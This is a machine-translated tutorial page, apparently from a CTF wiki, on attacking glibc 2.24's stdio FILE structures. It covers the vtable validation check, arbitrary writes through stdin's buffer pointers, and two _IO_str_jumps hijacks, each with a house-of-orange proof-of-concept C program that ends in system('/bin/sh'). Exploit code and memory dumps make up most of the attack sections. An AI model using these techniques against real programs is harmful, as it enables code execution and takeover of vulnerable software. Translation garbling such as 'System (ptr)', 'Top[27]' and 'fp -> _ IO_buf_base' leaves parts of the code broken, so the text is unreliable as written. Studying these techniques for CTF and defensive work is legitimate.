glibc 2.24 Utilization of IO_FILE¶
Introduction¶
In the 2.24 version of glibc, the new detection of vtable hijacking for IO_FILE_plus, glibc The validity of the vtable address is checked first before calling the virtual function. First, it will verify whether the vtable is in the _IO_vtable section. If the condition is met, it will be executed normally. Otherwise, _IO_vtable_check will be called for further checking.
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
Calculate section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
, and then determine the offset of vtable - __start___libc_IO_vtables. If the offset is greater than section_length, ie greater than __stop___libc_IO_vtables - __start___libc_IO_vtables
then the _IO_vtable_check()
function will be called.
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, & di, & l, NULL)! = 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
If the vtable is illegal, then abort is raised.
The check here makes it difficult to implement the technology that used vtable in the past.
New utilization technology¶
fileno Use of buffers¶
After the vtable is difficult to exploit, the focus of interest is transferred from the vtable to the domain inside the _IO_FILE structure. As mentioned earlier, _IO_FILE is created and responsible for maintaining some related information when using the standard IO library. Some of the fields are used to write addresses or read addresses when calling functions such as fwrite and fread. If you can control these data, Any address write or arbitrary address read can be implemented.
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
};
Because the process contains the system default three file streams stdin\stdout\stderr, this method can not use the file operation in the process, and can be used by scanf\printf.
In _IO_FILE, _IO_buf_base indicates the start address of the operation, and _IO_buf_end indicates the end address. By controlling these two data, the operation of controlling read and write can be realized.
Example¶
Simply observe the effect of _IO_FILE on calling scanf
#include "stdio.h"
char buf[100];
int main()
{
char stack_buf[100];
scanf("%s",stack_buf);
scanf("%s",stack_buf);
}
The content of stdin has not been initialized until the first time the executable is used.
0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x0000000000000000
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0 <== vtable
After calling scanf, you can see that the fields _IO_read_ptr, _IO_read_base, _IO_read_end, _IO_buf_base, _IO_buf_end are initialized.
0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000000000602013
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000602410 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0
Further thinking can be found that the memory initialized by stdin is actually allocated on the heap. The base address of the heap here is 0x602000, because there is no heap allocation before, so the address of the buffer is also 0x602010.
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 rx /home/vb/desktop/tst/1/t1
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/desktop/tst/1/t1
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/desktop/tst/1/t1
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]
The allocated heap size is 0x400 bytes, which corresponds to _IO_buf_base~_IO_buf_end After writing, you can see that we have written data in the buffer, and then the buffer in the destination address stack will also write data.
0x602000: 0x0000000000000000 0x0000000000000411 <== allocate 0x400 size
0x602010: 0x000000000a333231 0x0000000000000000 <== buffering data
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
Next we try to modify _IO_buf_base to achieve arbitrary address reading and writing, the address of the global buffer buf is 0x7ffff7dd2740. Modify _IO_buf_base and _IO_buf_end to the address of buffer buf
0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000000000602013
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014 0x0000000000602010
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010 0x0000000000602010
0x7ffff7dd1910 <_IO_2_1_stdin_ + 48>: 0x0000000000602010 0x00007ffff7dd2740 <== _IO_buf_base
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd27c0 0x0000000000000000 <== _IO_buf_end
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0
After that, the read data of scanf will be written to the location of 0x7ffff7dd2740.
0x7ffff7dd2740 <buf>: 0x00000a6161616161 0x0000000000000000
0x7ffff7dd2750 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2760 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2770 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2780 <buffer>: 0x0000000000000000 0x0000000000000000
_IO_str_jumps -> overflow¶
libc
is not only _IO_file_jumps
such a vtable
, but also a _IO_str_jumps
, this vtable
is not in the check range.
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
If we can set the vtable
of the file pointer to _IO_str_jumps
, we can call a different file manipulation function. Here is an example of _IO_str_overflow
:
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
If (new_size < old_blen)//pass will generally pass
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0]
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp -> _ IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
Use the following code to hijack the program flow
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
Several conditions bypass:
- `1. fp->_flags & _IO_NO_WRITES is false
-
2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
-
`3. fp->_flags & _IO_USER_BUF(0x01) is false.
- `4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 cannot be negative
- `5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; should point to the address corresponding to the /bin/sh string.
- `6. fp+0xe0 points to the system address.
structure:
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2
_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_jumps - 0x18
Example¶
Modified how2heap's houseoforange code, you can debug it yourself.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// unsorted bin attack
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
// _IO_str_overflow conditions
char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack
// top[0] = ~1;
// top[0] &= ~8;
top[0] = 0;
top[4] = 0; // write_base
top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr
top[7] = 0; // buf_base
top[8] = top[5] - 1; // buf_end
// house_of_orange conditions
top[1] = 0x61;
top[20] = (size_t) &top[18];
top[21] = 2;
top[22] = 3;
top[24] = -1;
Top[27] = (size_t)stdin - 0x3868-0x18; // _IO_str_jumps address
top[28] = (size_t) &winner;
/* Finally, trigger the whole chain by calling malloc */
malloc(10);
return 0;
}
int winner(char *ptr)
{
System (ptr);
return 0;
}
_IO_str_jumps -> finish¶
The principle is similar to _IO_str_jumps -> overflow above
void
_IO_str_finish (_IO_FILE * fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //[fp+0xe8]
fp -> _ IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
condition:
- _IO_buf_base is not empty
- _flags & _IO_USER_BUF(0x01) is false
Constructed as follows:
_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr
_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_finish - 0x18
fp+0xe8 -> system_addr
Example¶
Modified how2heap's houseoforange code, you can debug it yourself.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// unsorted bin attack
p1 = malloc(0x400-16);
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
// _IO_str_finish conditions
char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack
top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1;
top[7] = ((size_t)&binsh_in_libc); // buf_base
// house_of_orange conditions
top[1] = 0x61;
top[5] = 0x1 ; //_IO_write_ptr
top[20] = (size_t) &top[18];
top[21] = 2;
top[22] = 3;
top[24] = -1;
top[27] = (size_t) stdin - 0x33f0 - 0x18;
top[29] = (size_t) &winner;
top[30] = (size_t) &top[30];
malloc(10);
return 0;
}
int winner(char *ptr)
{
System (ptr);
return 0;
}
本页面的全部内容在 CC BY-NC-SA 4.0 协议之条款下提供,附加条款亦可能应用。